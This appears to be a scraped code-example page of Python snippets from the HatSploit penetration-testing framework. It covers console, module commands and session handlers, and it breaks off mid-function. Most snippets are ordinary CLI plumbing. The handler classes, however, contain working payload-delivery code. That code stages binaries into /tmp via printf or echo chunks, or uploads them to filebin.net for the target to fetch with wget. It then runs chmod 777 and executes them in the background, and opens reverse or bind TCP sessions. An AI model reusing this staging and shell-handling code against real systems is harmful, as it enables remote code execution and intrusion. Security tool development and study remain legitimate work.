Exemplo n.º 1
0
class ModulesChecks:
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()
        self.local_storage = LocalStorage()
        self.modules = Modules()

    def perform_check(self):
        fail = False
        all_modules = self.local_storage.get("modules")
        if all_modules:
            for database in all_modules.keys():
                self.badges.output_process("Checking modules from " +
                                           database + " database...")
                modules = all_modules[database]
                for category in modules.keys():
                    for platform in modules[category].keys():
                        for module in modules[category][platform].keys():
                            try:
                                _ = self.importer.import_module(
                                    modules[category][platform][module]
                                    ['Path'])
                                self.badges.output_success(
                                    self.modules.get_full_name(
                                        category, platform, module) + ': OK')
                            except Exception:
                                self.badges.output_error(
                                    self.modules.get_full_name(
                                        category, platform, module) + ': FAIL')
                                fail = True
        return fail
Exemplo n.º 2
0
    def __init__(self):
        self.io = IO()
        self.tip = Tip()
        self.jobs = Jobs()
        self.execute = Execute()
        self.loader = Loader()
        self.config = Config()
        self.badges = Badges()
        self.banner = Banner()
        self.colors = Colors()
        self.local_storage = LocalStorage()
        self.modules = Modules()
        self.exceptions = Exceptions()

        self.history = self.config.path_config['base_paths']['history_path']
Exemplo n.º 3
0
class HatSploitCommand(Command):
    importer = Importer()
    local_storage = LocalStorage()
    modules = Modules()

    details = {
        'Category': "module",
        'Name': "use",
        'Authors': [
            'Ivan Nikolsky (enty8080)'
        ],
        'Description': "Use specified module.",
        'Usage': "use <module>",
        'MinArgs': 1
    }

    def check_if_already_used(self, module):
        if self.modules.check_current_module():
            if module == self.modules.get_current_module_name():
                return True
        return False

    def run(self, argc, argv):
        module = argv[0]

        category = self.modules.get_category(module)
        platform = self.modules.get_platform(module)
        name = self.modules.get_name(module)

        if not self.check_if_already_used(module):
            if self.modules.check_exist(module):
                self.modules.add_module(category, platform, name)
            else:
                self.output_error("Invalid module!")
Exemplo n.º 4
0
    def __init__(self):
        self.exceptions = Exceptions()
        self.tables = Tables()
        self.badges = Badges()
        self.local_storage = LocalStorage()
        self.modules = Modules()

        self.job_process = None
Exemplo n.º 5
0
class HatSploitCommand(Command):
    modules = Modules()
    local_storage = LocalStorage()

    details = {
        'Category': "core",
        'Name': "help",
        'Authors': [
            'Ivan Nikolsky (enty8080)'
        ],
        'Description': "Show available commands.",
        'Usage': "help",
        'MinArgs': 0
    }

    def format_base_commands(self):
        commands_data = dict()
        headers = ("Command", "Description")
        commands = self.local_storage.get("commands")
        for command in sorted(commands.keys()):
            label = commands[command].details['Category']
            commands_data[label] = list()
        for command in sorted(commands.keys()):
            label = commands[command].details['Category']
            commands_data[label].append((command, commands[command].details['Description']))
        for label in sorted(commands_data.keys()):
            self.print_table(label.title() + " Commands", headers, *commands_data[label])

    def format_plugin_commands(self):
        for plugin in self.local_storage.get("loaded_plugins").keys():
            loaded_plugin = self.local_storage.get("loaded_plugins")[plugin]
            if hasattr(loaded_plugin, "commands"):
                commands_data = dict()
                headers = ("Command", "Description")
                commands = loaded_plugin.commands
                for label in sorted(commands.keys()):
                    commands_data[label] = list()
                    for command in sorted(commands[label].keys()):
                        commands_data[label].append((command, commands[label][command]['Description']))
                for label in sorted(commands_data.keys()):
                    self.print_table(label.title() + " Commands", headers, *commands_data[label])

    def format_custom_commands(self):
        current_module = self.modules.get_current_module_object()
        if hasattr(current_module, "commands"):
            commands_data = list()
            headers = ("Command", "Description")
            commands = current_module.commands
            for command in sorted(commands.keys()):
                commands_data.append((command, commands[command]['Description']))
            self.print_table("Custom Commands", headers, *commands_data)

    def run(self, argc, argv):
        self.format_base_commands()
        if self.modules.check_current_module():
            self.format_custom_commands()
        if self.local_storage.get("loaded_plugins"):
            self.format_plugin_commands()
Exemplo n.º 6
0
class HatSploitCommand(Command):
    modules = Modules()

    details = {
        'Category': "module",
        'Name': "set",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Set an option value.",
        'Usage': "set <option> <value>",
        'MinArgs': 2
    }

    def run(self, argc, argv):
        option = argv[0].upper()
        value = argv[1]

        self.modules.set_current_module_option(option, value)
Exemplo n.º 7
0
class HatSploitCommand(Command):
    config = Config()
    modules = Modules()
    local_storage = LocalStorage()

    details = {
        'Category': "developer",
        'Name': "edit",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Open module in editor.",
        'Usage': "edit <module>",
        'MinArgs': 1
    }

    def run(self, argc, argv):
        module = argv[0]

        module_category = self.modules.get_category(module)
        module_platform = self.modules.get_platform(module)
        module_name = self.modules.get_name(module)

        try:
            if not os.environ['EDITOR']:
                self.output_warning("Shell variable EDITOR not set.")
                editor = "vi"
            else:
                editor = os.environ['EDITOR']
        except KeyError:
            self.output_warning("Shell variable EDITOR not set.")
            editor = "vi"

        if self.modules.check_exist(module):
            if not self.modules.check_imported(module):
                database = self.modules.get_database(module)
                module_path = self.local_storage.get("modules")[database][
                    module_category][module_platform][module_name]['Path']
                edit_mode = editor + " " + self.config.path_config[
                    'base_paths']['root_path'] + module_path
                self.execute.execute_system(edit_mode)
            else:
                self.output_error("Can not edit already used module!")
        else:
            self.output_error("Invalid module!")
Exemplo n.º 8
0
class HatSploitCommand(Command):
    modules = Modules()
    local_storage = LocalStorage()

    details = {
        'Category': "module",
        'Name': "back",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Return to the previous module.",
        'Usage': "back",
        'MinArgs': 0
    }

    def run(self, argc, argv):
        if self.modules.check_current_module():
            self.local_storage.set(
                "current_module_number",
                self.local_storage.get("current_module_number") - 1)
            self.local_storage.set(
                "current_module",
                self.local_storage.get("current_module")[0:-1])
            if not self.local_storage.get("current_module"):
                self.local_storage.set("current_module_number", 0)
Exemplo n.º 9
0
class HatSploitCommand(Command):
    local_storage = LocalStorage()
    modules = Modules()
    payloads = Payloads()

    details = {
        'Category': "core",
        'Name': "show",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Show specified information.",
        'Usage': "show <information>",
        'MinArgs': 1
    }

    def show_plugins(self):
        plugins = self.local_storage.get("plugins")
        headers = ("Number", "Name", "Description")
        for database in plugins.keys():
            number = 0
            plugins_data = list()
            plugins = plugins[database]
            for plugin in sorted(plugins.keys()):
                plugins_data.append(
                    (number, plugin, plugins[plugin]['Description']))
                number += 1
            self.print_table("Plugins (" + database + ")", headers,
                             *plugins_data)

    def show_modules(self, information):
        modules = self.local_storage.get("modules")
        headers = ("Number", "Module", "Risk", "Description")
        for database in modules.keys():
            number = 0
            modules_data = list()
            modules = modules[database][information]
            for platform in sorted(modules.keys()):
                for module in sorted(modules[platform].keys()):
                    modules_data.append(
                        (number, modules[platform][module]['Module'],
                         modules[platform][module]['Risk'],
                         modules[platform][module]['Description']))
                    number += 1
            self.print_table(
                information.title() + " Modules (" + database + ")", headers,
                *modules_data)

    def show_payloads(self):
        payloads = self.local_storage.get("payloads")
        headers = ("Number", "Category", "Payload", "Risk", "Description")

        for database in sorted(payloads.keys()):
            number = 0
            payloads_data = list()
            for platform in sorted(payloads[database].keys()):
                for architecture in sorted(
                        payloads[database][platform].keys()):
                    for payload in sorted(
                            payloads[database][platform][architecture].keys()):
                        current_payload = payloads[database][platform][
                            architecture][payload]
                        payloads_data.append(
                            (number, current_payload['Category'],
                             current_payload['Payload'],
                             current_payload['Risk'],
                             current_payload['Description']))
                        number += 1
            self.print_table("Payloads (" + database + ")", headers,
                             *payloads_data)

    def show_options(self):
        current_module = self.modules.get_current_module_object()

        if not hasattr(current_module, "options") and not hasattr(
                current_module, "payload"):
            self.badges.output_warning("Module has no options.")
            return

        if not hasattr(current_module, "options") and not hasattr(
                self.payloads.get_current_payload(), "options"):
            self.badges.output_warning("Module has no options.")
            return

        if hasattr(current_module, "options"):
            options_data = list()
            headers = ("Option", "Value", "Required", "Description")
            options = current_module.options.copy()

            if hasattr(current_module, "payload"):
                options['PAYLOAD'] = dict()
                options['PAYLOAD']['Description'] = current_module.payload[
                    'Description']
                options['PAYLOAD']['Value'] = current_module.payload['Value']
                options['PAYLOAD']['Type'] = None
                options['PAYLOAD']['Required'] = True

            for option in sorted(options.keys()):
                value, required = options[option]['Value'], options[option][
                    'Required']
                if required:
                    required = "yes"
                else:
                    required = "no"
                if not value and value != 0:
                    value = ""
                options_data.append(
                    (option, value, required, options[option]['Description']))
            self.print_table(
                "Module Options (" + current_module.details['Module'] + ")",
                headers, *options_data)

        if hasattr(current_module, "payload"):
            if hasattr(self.payloads.get_current_payload(), "options"):
                options_data = list()
                headers = ("Option", "Value", "Required", "Description")
                current_payload = self.payloads.get_current_payload()
                if current_payload:
                    for option in sorted(current_payload.options.keys()):
                        value, required = current_payload.options[option]['Value'], \
                                        current_payload.options[option]['Required']
                        if required:
                            required = "yes"
                        else:
                            required = "no"
                        if not value and value != 0:
                            value = ""
                        options_data.append(
                            (option, value, required,
                             current_payload.options[option]['Description']))
                    self.print_table(
                        "Payload Options (" +
                        current_payload.details['Payload'] + ")", headers,
                        *options_data)

    def print_usage(self, informations, plugins, options):
        if informations or plugins or options:
            usage = "Informations: "
            if self.local_storage.get("payloads"):
                usage += "payloads, "
            for information in informations:
                usage += information + ", "
            if plugins:
                usage += "plugins, "
            if options:
                usage += "options"
            else:
                usage = usage[:-2]
            self.output_information(usage)
        else:
            self.output_warning("No informations available!")

    def run(self, argc, argv):
        information = argv[0]

        options = self.modules.check_current_module()
        payloads = self.local_storage.get("payloads")
        modules = self.local_storage.get("modules")
        plugins = self.local_storage.get("plugins")

        informations = list()
        if modules:
            for database in sorted(modules.keys()):
                for category in sorted(modules[database].keys()):
                    informations.append(category)

        if payloads:
            if information == "payloads":
                self.show_payloads()
                return
        if plugins:
            if information == "plugins":
                self.show_plugins()
                return
        if options:
            if information == "options":
                self.show_options()
                return
        if information in informations:
            self.show_modules(information)
        else:
            self.print_usage(informations, plugins, options)
Exemplo n.º 10
0
 def __init__(self):
     self.badges = Badges()
     self.importer = Importer()
     self.local_storage = LocalStorage()
     self.modules = Modules()
Exemplo n.º 11
0
class Handler(TCP):
    sessions = Sessions()
    local_storage = LocalStorage()
    modules = Modules()
    badges = Badges()

    def listen_session(self,
                       local_host,
                       local_port,
                       timeout=None,
                       session=HatSploitSession):
        try:
            client, address = self.listen(local_host, local_port, timeout)
            session = session()
            session.open(client)
            return session, address
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None, None

    def connect_session(self,
                        remote_host,
                        remote_port,
                        timeout=None,
                        session=HatSploitSession):
        try:
            client = self.connect(remote_host, remote_port, timeout)
            session = session()
            session.open(client)
            return session
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None

    def bytes_to_octal(self, bytes_obj):
        byte_octals = []
        for byte in bytes_obj:
            byte_octal = '\\' + oct(byte)[2:]
            byte_octals.append(byte_octal)
        return ''.join(byte_octals)

    def echo_stage(self,
                   payload,
                   sender,
                   args=[],
                   payload_args=None,
                   location='/tmp',
                   encode=False):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        echo_stream = "printf '{}' >> {}"
        echo_max_length = 100

        size = len(payload)
        num_parts = int(size / echo_max_length) + 1

        for i in range(0, num_parts):
            current = i * echo_max_length
            block = self.bytes_to_octal(payload[current:current +
                                                echo_max_length])
            command = echo_stream.format(block, path)

            self.badges.output_multi(
                f"Uploading payload... ({str(current)}/{str(size)})")
            if encode:
                sender(*args, (command + '\n').encode())
            else:
                sender(*args, command)

        args = args if args is not None else ""

        if encode:
            sender(
                *args,
                f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &\n"
                .encode())
        else:
            sender(
                *args,
                f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &"
            )

    def set_session_details(self, payload, session):
        if not session.details['Type']:
            session.details['Type'] = 'custom'

        session.details['Platform'] = payload['Platform']
        return session

    def handle_session(self,
                       host,
                       port,
                       payload,
                       sender=None,
                       args=[],
                       location='/tmp',
                       timeout=None,
                       method=None):
        if payload['Payload'] is None:
            self.badges.output_error("Payload stage is not found!")
            return False

        if sender is not None:
            session = payload['Session'] if payload[
                'Session'] is not None else HatSploitSession
            if payload['Category'].lower() == 'stager':
                self.echo_stage(payload['Payload'], sender, args,
                                payload['Args'], location)
            elif payload['Category'].lower() == 'single':
                sender(*args, payload['Payload'])
            else:
                self.badges.output_error("Invalid payload category!")
                return False
        else:
            if method is not None:
                if method.lower() == 'reverse_tcp':
                    new_session, remote_host = self.listen_session(
                        host, port, timeout, HatSploitSession)
                    if not new_session and not remote_host:
                        return False

                if method.lower() == 'bind_tcp':
                    new_session = self.connect_session(host, port, timeout,
                                                       HatSploitSession)
                    remote_host = host
                    if not new_session:
                        return False

                if payload['Category'].lower() == 'stager':
                    self.echo_stage(payload['Payload'],
                                    new_session.send,
                                    args,
                                    payload['Args'],
                                    location,
                                    encode=True)
                elif payload['Category'].lower() == 'single':
                    new_session.send_command(payload['Payload'])
                else:
                    self.badges.output_error("Invalid payload category!")
                    return False
            else:
                self.badges.output_error("Failed to execute payload stage!")
                return False

        if payload['Type'].lower() == 'one_side':
            self.badges.output_warning(
                "Payload completed but no session was created.")
            return True

        session = payload['Session'] if payload[
            'Session'] is not None else HatSploitSession

        if payload['Type'].lower() == 'bind_tcp':
            new_session = self.connect_session(host, port, timeout, session)
            remote_host = host
            if not new_session:
                return False

        if payload['Type'].lower() == 'reverse_tcp':
            new_session, remote_host = self.listen_session(
                host, port, timeout, session)
            if not new_session and not remote_host:
                return False

        new_session = self.set_session_details(payload, new_session)
        session_platform = new_session.details['Platform']
        session_type = new_session.details['Type']

        session_id = self.sessions.add_session(session_platform, session_type,
                                               remote_host, port, new_session)
        self.badges.output_success("Session " + str(session_id) + " opened!")
        return True
Exemplo n.º 12
0
 def __init__(self):
     self.fmt = FMT()
     self.badges = Badges()
     self.local_storage = LocalStorage()
     self.modules = Modules()
Exemplo n.º 13
0
class HatSploitCommand(Command):
    payloads = Payloads()
    local_storage = LocalStorage()
    modules = Modules()
    jobs = Jobs()

    usage = ""
    usage += "run [option]\n\n"
    usage += "  -h, --help  Show this help message.\n"
    usage += "  -j, --job   Run current module as a background job.\n"

    details = {
        'Category': "module",
        'Name': "run",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Run current module.",
        'Usage': usage,
        'MinArgs': 0
    }

    def entry_to_module(self, argc, argv, current_module):
        if argc > 0:
            if argv[0] in ['-j', '--job']:
                self.output_process("Running module as a background job...")
                job_id = self.jobs.create_job(current_module.details['Name'],
                                              current_module.details['Module'],
                                              current_module.run)
                self.output_information("Module started as a background job " +
                                        str(job_id) + ".")
                return
        current_module.run()

    def run(self, argc, argv):
        if argc > 0:
            if argv[0] in ['-h', '--help']:
                self.output_usage(self.details['Usage'])
                return

        if self.modules.check_current_module():
            current_module = self.modules.get_current_module_object()
            current_payload = self.payloads.get_current_payload()
            missed = 0
            if hasattr(current_module, "options"):
                for option in current_module.options.keys():
                    current_option = current_module.options[option]
                    if not current_option['Value'] and current_option[
                            'Value'] != 0 and current_option['Required']:
                        missed += 1
            if current_payload:
                if hasattr(current_payload, "options"):
                    for option in current_payload.options.keys():
                        current_option = current_payload.options[option]
                        if not current_option['Value'] and current_option[
                                'Value'] != 0 and current_option['Required']:
                            missed += 1
            if missed > 0:
                self.output_error("Missed some required options!")
            else:
                try:
                    if current_payload:
                        payload_name = current_module.payload['Value']
                        self.output_process(
                            f"Configuring {payload_name} payload...")

                        payload_data = current_payload.run()
                        payload, args, session = None, None, None

                        if isinstance(payload_data, tuple):
                            if len(payload_data) == 2:
                                payload, args = payload_data[0], payload_data[
                                    1]
                            elif len(payload_data) == 3:
                                payload, args, session = payload_data[
                                    0], payload_data[1], payload_data[2]
                        else:
                            payload = payload_data

                        current_module.payload[
                            'Category'] = current_payload.details['Category']
                        current_module.payload[
                            'Platform'] = current_payload.details['Platform']
                        current_module.payload[
                            'Type'] = current_payload.details['Type']

                        current_module.payload['Payload'] = payload
                        current_module.payload['Args'] = args
                        current_module.payload['Session'] = session

                    self.entry_to_module(argc, argv, current_module)
                except Exception as e:
                    self.output_error("An error occurred in module: " +
                                      str(e) + "!")
        else:
            self.output_warning("No module selected.")
Exemplo n.º 14
0
class Console:
    def __init__(self):
        self.io = IO()
        self.tip = Tip()
        self.jobs = Jobs()
        self.execute = Execute()
        self.loader = Loader()
        self.config = Config()
        self.badges = Badges()
        self.banner = Banner()
        self.colors = Colors()
        self.local_storage = LocalStorage()
        self.modules = Modules()
        self.exceptions = Exceptions()

        self.history = self.config.path_config['base_paths']['history_path']

    def check_root(self):
        if os.getuid() == 0:
            return True
        self.badges.output_error("Operation not permitted!")
        return False

    def check_install(self):
        if os.path.exists(self.config.path_config['base_paths']['root_path']):
            return True
        self.badges.output_error("HatSploit is not installed!")
        self.badges.output_information("Consider running ./install.sh")
        return False

    def start_hsf(self):
        try:
            self.loader.load_all()
        except Exception:
            sys.exit(1)

    def launch_menu(self):
        while True:
            try:
                if not self.modules.check_current_module():
                    prompt = '(hsf)> '
                else:
                    module = self.modules.get_current_module_name()
                    name = self.modules.get_current_module_object(
                    ).details['Name']
                    prompt = '(hsf: ' + self.modules.get_category(
                        module
                    ) + ': ' + self.colors.RED + name + self.colors.END + ')> '
                commands, arguments = self.io.input(prompt)

                self.jobs.stop_dead()
                self.execute.execute_command(commands, arguments)
                if self.local_storage.get("history"):
                    readline.write_history_file(self.history)

            except (KeyboardInterrupt, EOFError,
                    self.exceptions.GlobalException):
                pass
            except Exception as e:
                self.badges.output_error("An error occurred: " + str(e) + "!")

    def enable_history_file(self):
        if not os.path.exists(self.history):
            open(self.history, 'w').close()
        readline.read_history_file(self.history)

    def launch_shell(self):
        using_history = self.local_storage.get("history")
        if using_history:
            self.enable_history_file()
        readline.parse_and_bind("tab: complete")

        version = self.config.core_config['details']['version']
        codename = self.config.core_config['details']['codename']
        if self.config.core_config['console']['clear']:
            self.badges.output_empty(self.colors.CLEAR, end='')

        if self.config.core_config['console']['banner']:
            self.banner.print_random_banner()

        if self.config.core_config['console']['header']:
            plugins = self.local_storage.get("plugins")
            modules = self.local_storage.get("modules")
            payloads = self.local_storage.get("payloads")

            plugins_total = 0
            modules_total = 0
            payloads_total = 0

            if payloads:
                for database in payloads.keys():
                    for payload_platform in payloads[database].keys():
                        for payload_architecture in payloads[database][
                                payload_platform].keys():
                            payloads_total += len(
                                payloads[database][payload_platform]
                                [payload_architecture])
            if plugins:
                for database in plugins.keys():
                    plugins_total += len(plugins[database])
            if modules:
                for database in modules.keys():
                    for module_category in modules[database].keys():
                        for module_platform in modules[database][
                                module_category].keys():
                            modules_total += len(
                                modules[database][module_category]
                                [module_platform])

            header = ""
            header += f"{self.colors.END}\n"
            if codename and not codename.isspace():
                header += f"    --=( {self.colors.YELLOW}HatSploit Framework {codename} {version}{self.colors.END}\n"
            else:
                header += f"    --=( {self.colors.YELLOW}HatSploit Framework {version}{self.colors.END}\n"
            header += f"--==--=( Developed by EntySec ({self.colors.LINE}https://entysec.netlify.app/{self.colors.END})\n"
            header += f"    --=( {modules_total} modules | {payloads_total} payloads | {plugins_total} plugins\n"
            header += f"{self.colors.END}"
            self.badges.output_empty(header)

        if self.config.core_config['console']['tip']:
            self.tip.print_random_tip()
            self.badges.output_empty("")

    def shell(self):
        self.start_hsf()
        self.launch_shell()
        self.launch_menu()
Exemplo n.º 15
0
class HatSploitCommand(Command):
    modules = Modules()

    details = {
        'Category': "module",
        'Name': "info",
        'Authors': [
            'Ivan Nikolsky (enty8080)'
        ],
        'Description': "Show module information.",
        'Usage': "info [<module>]",
        'MinArgs': 0
    }

    def format_module_information(self, current_module):
        authors = ""
        for author in current_module['Authors']:
            authors += author + ", "
        authors = authors[:-2]

        dependencies = ""
        for dependence in current_module['Dependencies']:
            dependencies += dependence + ", "
        dependencies = dependencies[:-2]

        comments = ""
        for line in current_module['Comments']:
            comments += line + "\n" + (" " * 14)
        comments = comments[:-15]

        self.output_information("Module information:")
        self.output_empty("")

        if current_module['Name']:
            self.output_empty("         Name: " + current_module['Name'])
        if current_module['Module']:
            self.output_empty("       Module: " + current_module['Module'])
        if authors:
            self.output_empty("      Authors: " + authors)
        if current_module['Description']:
            self.output_empty("  Description: " + current_module['Description'])
        if dependencies:
            self.output_empty(" Dependencies: " + dependencies)
        if comments:
            self.output_empty("     Comments: ")
            self.output_empty("               " + comments)
        if current_module['Risk']:
            self.output_empty("         Risk: " + current_module['Risk'])

        self.output_empty("")

    def get_module_information(self, module):
        if self.modules.check_exist(module):
            category = self.modules.get_category(module)
            platform = self.modules.get_platform(module)
            name = self.modules.get_name(module)

            module = self.modules.get_module_object(category, platform, name)
            self.format_module_information(module)
        else:
            self.output_error("Invalid module!")

    def run(self, argc, argv):
        if self.modules.check_current_module():
            if argc > 0:
                self.get_module_information(argv[0])
            else:
                self.format_module_information(self.modules.get_current_module_object().details)
        else:
            if argc > 0:
                self.get_module_information(argv[0])
            else:
                self.output_usage(self.details['Usage'])
Exemplo n.º 16
0
class Handler(TCP):
    sessions = Sessions()
    local_storage = LocalStorage()
    modules = Modules()
    badges = Badges()

    def listen_session(self,
                       local_host,
                       local_port,
                       timeout=None,
                       session=HatSploitSession):
        try:
            client, address = self.listen(local_host, local_port, timeout)
            session = session()
            session.open(client)
            return session, address
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None, None

    def connect_session(self,
                        remote_host,
                        remote_port,
                        timeout=None,
                        session=HatSploitSession):
        try:
            client = self.connect(remote_host, remote_port, timeout)
            session = session()
            session.open(client)
            return session
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None

    def bytes_to_octal(self, bytes_obj, extra_zero=False):
        byte_octals = []
        for byte in bytes_obj:
            byte_octal = '\\0' if extra_zero else '\\' + oct(byte)[2:]
            byte_octals.append(byte_octal)
        return ''.join(byte_octals)

    def wget_stage(self,
                   payload,
                   sender,
                   args=[],
                   payload_args=None,
                   delim=';',
                   location='/tmp',
                   encode=False,
                   execute=True):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        wget_bin = binascii.hexlify(os.urandom(8)).decode()
        wget_file = binascii.hexlify(os.urandom(8)).decode()

        wget_container = f"https://dev.filebin.net/{wget_bin}"
        wget_server = f"https://dev.filebin.net/{wget_bin}/{wget_file}"

        wget_stream = "wget '{}' -qO {}"

        requests.post(wget_server.format(wget_bin, wget_file), data=payload)
        self.badges.output_process("Uploading payload...")

        if execute:
            self.badges.output_process("Executing payload...")
            command = f"{wget_stream.format(wget_server, path)} {delim} chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\""
            args = args if args is not None else ""
        else:
            command = wget_stream.format(wget_server, path)

        if encode:
            sender(*args, f"{command}\n".encode())
        else:
            sender(*args, {command})
        requests.delete(wget_container)

    def echo_stage(self,
                   payload,
                   sender,
                   args=[],
                   payload_args=None,
                   delim=';',
                   location='/tmp',
                   encode=False,
                   execute=True):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        echo_stream = "echo -n '{}' >> {}"
        echo_max_length = 100

        size = len(payload)
        num_parts = int(size / echo_max_length) + 1

        for i in range(0, num_parts):
            current = i * echo_max_length
            block = self.bytes_to_octal(payload[current:current +
                                                echo_max_length],
                                        extra_zero=True)
            command = echo_stream.format(block, path)

            self.badges.output_multi(
                f"Uploading payload... ({str(current)}/{str(size)})")
            if encode:
                sender(*args, (command + '\n').encode())
            else:
                sender(*args, command)

        if execute:
            self.badges.output_process("Executing payload...")
            args = args if args is not None else ""
            if encode:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n"
                    .encode())
            else:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\""
                )

    def printf_stage(self,
                     payload,
                     sender,
                     args=[],
                     payload_args=None,
                     delim=';',
                     location='/tmp',
                     encode=False,
                     execute=True):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        printf_stream = "printf '{}' >> {}"
        printf_max_length = 100

        size = len(payload)
        num_parts = int(size / printf_max_length) + 1

        for i in range(0, num_parts):
            current = i * printf_max_length
            block = self.bytes_to_octal(payload[current:current +
                                                printf_max_length])
            command = printf_stream.format(block, path)

            self.badges.output_multi(
                f"Uploading payload... ({str(current)}/{str(size)})")
            if encode:
                sender(*args, (command + '\n').encode())
            else:
                sender(*args, command)

        if execute:
            self.badges.output_process("Executing payload...")
            args = args if args is not None else ""
            if encode:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n"
                    .encode())
            else:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\""
                )

    def set_session_details(self, payload, session):
        if not session.details['Type']:
            session.details['Type'] = 'custom'

        session.details['Platform'] = payload['Platform']
        return session

    def handle_session(self,
                       host,
                       port,
                       payload,
                       sender=None,
                       args=[],
                       delim=';',
                       location='/tmp',
                       timeout=None,
                       method=None,
                       post="printf"):
        if payload['Payload'] is None:
            self.badges.output_error("Payload stage is not found!")
            return False

        encode = False
        if sender is not None:
            session = payload['Session'] if payload[
                'Session'] is not None else HatSploitSession
            if payload['Category'].lower() == 'stager':
                if post.lower() == 'printf':
                    self.printf_stage(payload['Payload'], sender, args,
                                      payload['Args'], delim, location, encode)
                elif post.lower() == 'echo':
                    self.echo_stage(payload['Payload'], sender, args,
                                    payload['Args'], delim, location, encode)
                elif post.lower() == 'wget':
                    self.wget_stage(payload['Payload'], sender, args,
                                    payload['Args'], delim, location, encode)
                else:
                    self.output_warning(
                        "Invalid post method, using printf by default.")
                    self.printf_stage(payload['Payload'], sender, args,
                                      payload['Args'], delim, location, encode)
            elif payload['Category'].lower() == 'single':
                sender(*args, payload['Payload'])
            else:
                self.badges.output_error("Invalid payload category!")
                return False
        else:
            if method is not None:
                encode = True
                if method.lower() == 'reverse_tcp':
                    new_session, remote_host = self.listen_session(
                        host, port, timeout, HatSploitSession)
                    if not new_session and not remote_host:
                        return False

                if method.lower() == 'bind_tcp':
                    new_session = self.connect_session(host, port, timeout,
                                                       HatSploitSession)
                    remote_host = host
                    if not new_session:
                        return False

                if payload['Category'].lower() == 'stager':
                    if post.lower() == 'printf':
                        self.printf_stage(payload['Payload'], new_session.send,
                                          args, payload['Args'], delim,
                                          location, encode)
                    elif post.lower() == 'echo':
                        self.echo_stage(payload['Payload'], new_session.send,
                                        args, payload['Args'], delim, location,
                                        encode)
                    elif post.lower() == 'wget':
                        self.wget_stage(payload['Payload'], new_session.send,
                                        args, payload['Args'], delim, location,
                                        encode)
                    else:
                        self.output_warning(
                            "Invalid post method, using printf by default.")
                        self.printf_stage(payload['Payload'], new_session.send,
                                          args, payload['Args'], delim,
                                          location, encode)
                elif payload['Category'].lower() == 'single':
                    new_session.send_command(payload['Payload'])
                else:
                    self.badges.output_error("Invalid payload category!")
                    return False
            else:
                self.badges.output_error("Failed to execute payload stage!")
                return False

        if payload['Type'].lower() == 'one_side':
            self.badges.output_warning(
                "Payload completed but no session was created.")
            return True

        session = payload['Session'] if payload[
            'Session'] is not None else HatSploitSession

        if payload['Type'].lower() == 'bind_tcp':
            new_session = self.connect_session(host, port, timeout, session)
            remote_host = host
            if not new_session:
                return False

        if payload['Type'].lower() == 'reverse_tcp':
            new_session, remote_host = self.listen_session(
                host, port, timeout, session)
            if not new_session and not remote_host:
                return False

        new_session = self.set_session_details(payload, new_session)
        session_platform = new_session.details['Platform']
        session_type = new_session.details['Type']

        session_id = self.sessions.add_session(session_platform, session_type,
                                               remote_host, port, new_session)
        self.badges.output_success("Session " + str(session_id) + " opened!")
        return True
Exemplo n.º 17
0
class Execute:
    def __init__(self):
        self.fmt = FMT()
        self.badges = Badges()
        self.local_storage = LocalStorage()
        self.modules = Modules()

    def execute_command(self, commands, arguments):
        if commands:
            if not self.execute_builtin_method(commands, arguments):
                if not self.execute_core_command(commands, arguments):
                    if not self.execute_module_command(commands, arguments):
                        if not self.execute_plugin_command(
                                commands, arguments):
                            self.badges.output_error("Unrecognized command: " +
                                                     commands[0] + "!")

    def execute_from_file(self, input_file):
        if os.path.exists(input_file):
            file = open(input_file, 'r')
            file_text = file.read().split('\n')
            file.close()

            for line in file_text:
                commands = self.fmt.format_commands(line)
                arguments = commands[1:]

                self.execute_command(commands, arguments)

    def execute_builtin_method(self, commands, arguments):
        if commands[0][0] == '!':
            if len(commands[0]) > 1:
                commands[0] = commands[0].replace('!', '', 1)
                self.execute_system(commands)
            else:
                self.badges.output_usage("!<command>")
            return True
        return False

    def execute_system(self, commands):
        self.badges.output_process("Executing system command: " + commands[0] +
                                   "\n")
        try:
            subprocess.call(commands)
        except Exception:
            self.badges.output_error("Unrecognized system command: " +
                                     commands[0] + "!")

    def execute_core_command(self, commands, arguments):
        if commands[0] in self.local_storage.get("commands").keys():
            command = self.local_storage.get("commands")[commands[0]]
            if (len(commands) - 1) < command.details['MinArgs']:
                self.badges.output_usage(command.details['Usage'])
            else:
                command.run(len(arguments), arguments)
            return True
        return False

    def execute_module_command(self, commands, arguments):
        if self.modules.check_current_module():
            if hasattr(self.modules.get_current_module_object(), "commands"):
                if commands[0] in self.modules.get_current_module_object(
                ).commands.keys():
                    command_object = self.modules.get_current_module_object()
                    command = self.modules.get_current_module_object(
                    ).commands[commands[0]]
                    self.parse_and_execute_command(commands, command,
                                                   arguments, command_object)
                    return True
        return False

    def execute_plugin_command(self, commands, arguments):
        if self.local_storage.get("loaded_plugins"):
            for plugin in self.local_storage.get("loaded_plugins").keys():
                if hasattr(
